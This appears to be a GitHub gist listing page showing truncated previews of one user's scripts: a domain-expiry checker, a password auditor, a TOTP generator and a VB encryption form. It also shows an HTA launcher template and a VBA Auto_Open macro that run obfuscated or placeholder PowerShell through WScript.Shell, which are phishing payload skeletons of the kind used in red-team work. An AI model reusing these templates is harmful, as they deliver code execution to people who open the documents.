Skip to content

Instantly share code, notes, and snippets.

@jamcut
jamcut / whois_your_daddy.py
Created June 23, 2017 20:20
Python script to identify domains which have expired, or will within a short time frame.
#!/usr/bin/env python3
import argparse
import datetime
import random
import sys
try:
import pythonwhois
except ImportError:
### HTA Template ###
<html>
<head>
<script language="javascript">
var c= '{{ obfuscated_launcher }}';
var d=c.replace(/{{ pattern }}/g,'');
new ActiveXObject('WScript.Shell').Run(d);
</script>
</head>

Keybase proof

I hereby claim:

  • I am jamcut on github.
  • I am jamcut (https://keybase.io/jamcut) on keybase.
  • I have a public key whose fingerprint is 3384 536C 4425 07A2 321C A8B6 9926 3B3E 1DE8 BF88

To claim this, I am signing this object:

Dim strCurrent As String 'Store the current string, as the textboxes can't be trusted not to truncate
Private Sub cmdEncrypt_Click()
Dim i As Integer 'Loop counter
Dim intKeyChar As Integer 'Character within the key that we'll use to encrypt
Dim strTemp As String 'Store the encrypted string as it grows
Dim strText As String 'The initial text to be encrypted
Dim strKey As String 'The encryption key
Dim strChar1 As String * 1 'The first character to XOR
@jamcut
jamcut / pw_audit.py
Created November 18, 2015 16:18
Python script for auditing passwords against length and complexity requirements.
#!/usr/bin/env python
"""This script performs analysis on passwords. It will compare passwords to length and complexity
requirements supplied by the user. It also allows the user to provide a regular expression
in order to identify the number of passwords that match a spceific schema.
"""
import argparse
import re
import sys
try:
Sub Auto_Open()
boomtime
End Sub
Public Function boomtime() As Variant
Dim wsh As Object
Set wsh = VBA.CreateObject("WScript.Shell")
Dim waitOnReturn As Boolean: waitOnReturn = True
Dim windowStyle As Integer: windowStyle = 7
wsh.Run "PUT YOUR POWERSHELL HERE", windowStyle, waitOnReturn
@jamcut
jamcut / skel.py
Created April 21, 2015 14:50
Simple base Python script template
#!/usr/bin/env python
import argparse
import sys
# uncomment to make use of colorprint
#try:
# from colorprint import *
#except:
# print("[-] Could not import colorprint. Install it by running 'git clone https://gist.github.com/2d61c414870b75168d56.git'")
@jamcut
jamcut / colorprint.py
Created April 21, 2015 14:43
Some python functions to facilitate colorized terminal printing similar to MSF
#!/usr/bin/env python
def print_error(msg):
print('\033[1m' + '\033[31m' + '[-] ' + '\033[0m' + msg)
return
def print_status(msg):
print('\033[1m' + '\033[34m' + '[*] ' + '\033[0m' + msg)
return
@jamcut
jamcut / psotp.ps1
Last active January 4, 2023 04:00
$COUNTERCURSOR = 7
$EPOCH = Get-Date -Year 1970 -Month 1 -Day 1 -Hour 0 -Minute 0 -Second 0
$INTERVAL = 30
$OTPLENGTH = 6
# $SHAREDSECRET must be base64 encoded
$SHAREDSECRET = "nWBSTFLmBjCT8A=="
function GetCounter(){
# calculate seconds since epoch (UNIX time)
$span = New-TimeSpan -Start $EPOCH -End (Get-Date).ToUniversalTime()